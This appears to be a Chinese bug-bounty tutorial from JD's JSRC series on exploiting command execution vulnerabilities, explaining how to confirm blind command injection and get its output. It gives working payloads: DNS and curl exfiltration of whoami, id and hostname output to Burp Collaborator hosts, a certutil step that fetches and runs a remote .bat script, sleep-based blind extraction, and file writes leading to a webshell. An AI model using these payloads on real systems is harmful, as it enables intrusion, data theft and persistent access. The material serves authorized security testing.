【JSRC 小课堂】Web 安全专题(四)SRC 漏洞挖掘技术之命令执行漏洞
✎小课堂黑板报
上期小课堂(【JSRC小课堂预告】Web安全专题(三)SRC漏洞挖掘技巧之高质量信息收集)讲师3stoneBrother分享了收集SRC高质量信息的思路,JSRC小课堂第150期,邀请到SRC核心白帽局外人,为大家分享关于命令执行漏洞挖掘的新观点。
命令执行漏洞是Web安全领域常见的漏洞类型,Web容器、Web框架等各种Web组件都可能发生命令执行漏洞。我们在挖掘命令执行漏洞时可能会遇到由于规则不允许写文件但需要得到命令执行结果的情况,或服务器无法出网需要得到结果的情况,以及允许写文件但找不到目录的情况,那么这些问题可以如何解决呢?
基于上述漏洞挖掘的问题,本期主要从系统判断方法、通过dnslog回显任意命令结果、通过延时判断命令执行结果和自动查找目录写文件四步来分享如何挖掘命令执行漏洞。
Step 1 :判断系统方法
我们可以如何判断系统呢?同一命令通过不同参数进行判断,这里以Ping命令为例进行说明:
Ping命令在Linux和Win中的参数不同,在Linux中为-c参数,Win中为-n参数,效果可参考下图,这里需要提到,错误的参数会导致命令执行错误。
Win: ping-n3 baidu.com
Linux:ping-c3 baidu.com
Windows下的Ping命令每间隔一秒会发送一个ICMP ECHO_REQUEST 包,因此可以利用 Ping 命令来近似地模拟等待指定秒数的效果。
其中 -n 后指定发送 ECHO_REQUEST 包的数量,也就是我们需要等待的秒数+ 1。需要+1 的原因是,第一个包不经过等待就会被发送,也可用choice /T5/CX/DX /N >null去延时。
命令让用户在一系列选项中作出选择,并且可以被设置一个超时时间,因而也可以用来模拟等待。在 Windows Server 2003、 Windows Vista 及之后的版本可用。
特有命令判断(certutil)可参考如下方式及效果图:
Certutil -urlcache -split –f http://446kjyche3fr57xdvfkifwvy1p7gv5.burpcollaborator.net/
Step 2 通过dnslog回显任意命令结果
当系统判断完毕,我们可以通过dns来获取命令执行的结果,比较简单的例如whoami`.xxx.com,这里需要提到的是,一般情况下dns传递结果的长度是有限的,那么如何通过dns来获取较长的执行结果呢?笔者归纳了如下几种方式供大家参考:
(1) 利用格式化输出
命令如下:
(pwd;id;hostname)|xxd -ps -c 20|awk'{system("nslookup "NR"."$0".c.pproot.com")}'
(2) 通过curl传递结果
命令如下:
curl --connect-timeout 3 http://uushnjf9zjc7q5526djxushjbah19py.burpcollaborator.net/2/ -d data=$((id)|base64 -w 0)
(3) Win环境下通过certutil回显结果
具体思路:构造Payload下载远程bat脚本,执行bat, 发送执行命令的结果到vps监听端口
Bat脚本内容可参考如下内容:
whoami>c:/windows/temp/cmd.txt
for /f "delims=" %%a in (c:/windows/temp/cmd.txt)do (set line=%%a)
certutil -urlcache -split -fhttp://x.x.x.x:8888/?result=%line% "c:\\windows\\temp\\.res.txt"
将以上bat文件放在vps上,然后通过certutil下载到本地。
certutil-urlcache-split-f
http://x.x.x.x/remoteommand.bat"c:\\windows\\temp\\remote.bat"
然后在目标服务器执行bat脚本c:\\windows\\temp\\remote.bat成功获取结果:
Step 3 :通过延时判断命令执行结果
命令执行结果回显完毕,就需要通过延时来判断命令执行的结果。
Linux环境下我们有两种判断方法:
方法一:
使用base32编码命令的结果,再使用cut命令截取每一位,操作效果参考下图:
方法二:
使用if [ $(whoami|base32|cut -c 1) ="O" ];then echo 1;fi,有输出,
使用if [ $(whoami|base32|cut -c 1) = "q" ];then echo 1;fi,无输出。
这样操作就能够产生布尔关系,将echo1换成sleep 2,进而可以像盲注一样通过延时逐位获取结果。
这里较为详细的分析和脚本建议参考iceMatcha的博客,博客地址:https://icematcha.win/?p=532。
Step 4 :自动查找目录写文件
命令执行结果判断完毕,我们可以开始自动写文件,Linux环境下有两种可供参考的自动写文件的方法:
方法一:
find 命令:find . -type f -name 1.js
既然可以查找到js文件,那我们直接将写文件的拼接起来即可,将id,pwd,hostname的结果写在js/test1.txt中,命令find . -type f -name 1.js|while read f;do sh -c'id;pwd;hostname;/sbin/ifconfig' >$(dirname $f)/test.txt;done,效果可参考下图:
这里需要提到的是,locate和find 不同, find 可以在硬盘找,locate只能在/var/lib/slocate资料库中找。一般情况下locate的速度会比find快,主要是因为locate并不是真的查找,而是查数据库,这里以查找js文件的效果为例,可参考下图
在可以查找到js文件的条件下,我们可以直接将写的文件进行拼接,将id,pwd,hostname的结果写在js/test1.txt中,再访问xxx.com/js/test1.txt即可。
这里需要我们熟悉基本的命令编写及修改。locate /js/1.js|while read f;do sh -c 'id;pwd;ifconfig'>$(dirname $f)/test1.txt;done,命令效果参考下图:
既然linux环境下可以运行上述操作,那么Win环境下是否同样可以呢?
我们尝试下:
Win查找文件命令dir /x /s /b index.html
成功查找到文件目录,接着我们结合写入操作,命令:cmd /c "for/f %i in ('dir /x /s /b index.html') do (echo%i>%i.path.txt)%26(ipconfig>%i.ipconfig.txt)"
成功创建index.html.path.txt和index.html.ipconfig.txt文件,效果参见下图:
其中index.html.path.txt为路径:
index.html.ipconfig.txt为ifconfig执行的命令结果:
有了路径我们就可以直接写webshell,或通过修改ifconfig命令快捷写shell。
说明:笔者以上思路整理自补天众测漏洞审核过程中的实践经验和思考,特别鸣谢looxp9和带头老哥以及iceMatcha等朋友。
欢迎点击【京东智联云】,了解开发者社区
更多精彩技术实践与独家干货解析
欢迎关注【京东智联云开发者】公众号
版权声明: 本文为 InfoQ 作者【京东智联云开发者】的原创文章。
原文链接:【http://xie.infoq.cn/article/1d0ca012ac9e0ffe6e41fd3b2】。文章转载请联系作者。
评论